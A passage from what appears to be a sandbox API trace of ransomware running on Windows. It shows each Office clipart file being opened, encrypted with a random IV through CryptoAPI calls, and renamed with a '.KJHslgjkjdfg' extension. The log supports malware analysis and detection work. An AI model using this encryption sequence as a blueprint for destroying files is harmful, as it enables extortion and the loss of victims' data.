FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54406500, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54406500, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0181.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.719] GetProcessHeap () returned 0x990000 [0181.720] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.720] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.720] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.722] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.722] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.722] GetProcessHeap () returned 0x990000 [0181.722] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.722] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.722] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.722] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.723] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.723] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.723] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.723] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.723] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.723] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.723] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x66dc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x66dc, lpOverlapped=0x0) returned 1 [0181.724] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x66e0, dwBufLen=0x66e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x66e0) returned 1 [0181.725] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.725] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x66e0, lpOverlapped=0x0) returned 1 [0181.725] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.725] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x67b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.725] SetEndOfFile (hFile=0x130) returned 1 [0181.728] GetProcessHeap () returned 0x990000 [0181.728] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.728] GetProcessHeap () returned 0x990000 [0181.728] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.728] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.kjhslgjkjdfg")) returned 1 [0181.732] CloseHandle (hObject=0x130) returned 1 [0181.732] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x530f3800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x530f3800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0181.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.733] GetProcessHeap () returned 0x990000 [0181.733] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.733] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.733] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.733] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0181.735] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.735] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.735] GetProcessHeap () returned 0x990000 [0181.735] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.736] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.736] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.736] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.736] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.736] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.736] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.736] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.736] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.736] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.736] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6cd2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6cd2, lpOverlapped=0x0) returned 1 [0181.738] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6ce0, dwBufLen=0x6ce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6ce0) returned 1 [0181.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.738] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6ce0, lpOverlapped=0x0) returned 1 [0181.738] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.739] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.739] SetEndOfFile (hFile=0x130) returned 1 [0181.741] GetProcessHeap () returned 0x990000 [0181.741] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.741] GetProcessHeap () returned 0x990000 [0181.742] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.742] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.kjhslgjkjdfg")) returned 1 [0181.745] CloseHandle (hObject=0x130) returned 1 [0181.745] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbf4f00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cbf4f00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0181.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.746] GetProcessHeap () returned 0x990000 [0181.746] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.746] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.746] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.746] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0181.751] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.751] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.751] GetProcessHeap () returned 0x990000 [0181.752] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.752] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.752] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.752] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.752] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.752] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.752] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.752] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.752] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.752] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.752] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xea2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xea2, lpOverlapped=0x0) returned 1 [0181.753] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xeb0, dwBufLen=0xeb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xeb0) returned 1 [0181.753] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.753] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xeb0, lpOverlapped=0x0) returned 1 [0181.753] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.753] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.753] SetEndOfFile (hFile=0x130) returned 1 [0181.756] GetProcessHeap () returned 0x990000 [0181.756] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.756] GetProcessHeap () returned 0x990000 [0181.756] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.756] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.kjhslgjkjdfg")) returned 1 [0181.760] CloseHandle (hObject=0x130) returned 1 [0181.760] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8335e700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8335e700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0181.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.761] GetProcessHeap () returned 0x990000 [0181.761] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.761] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.761] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.763] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.763] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.763] GetProcessHeap () returned 0x990000 [0181.763] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.764] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.764] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.764] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.764] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.764] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.764] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.764] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.764] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.764] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.764] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.764] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.764] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16cc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x16cc, lpOverlapped=0x0) returned 1 [0181.765] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16d0, dwBufLen=0x16d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16d0) returned 1 [0181.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.766] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x16d0, lpOverlapped=0x0) returned 1 [0181.766] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.766] SetEndOfFile (hFile=0x130) returned 1 [0181.769] GetProcessHeap () returned 0x990000 [0181.769] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.769] GetProcessHeap () returned 0x990000 [0181.769] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.769] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.kjhslgjkjdfg")) returned 1 [0181.772] CloseHandle (hObject=0x130) returned 1 [0181.772] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa26000, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fa26000, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0181.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.773] GetProcessHeap () returned 0x990000 [0181.773] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.773] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.773] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, 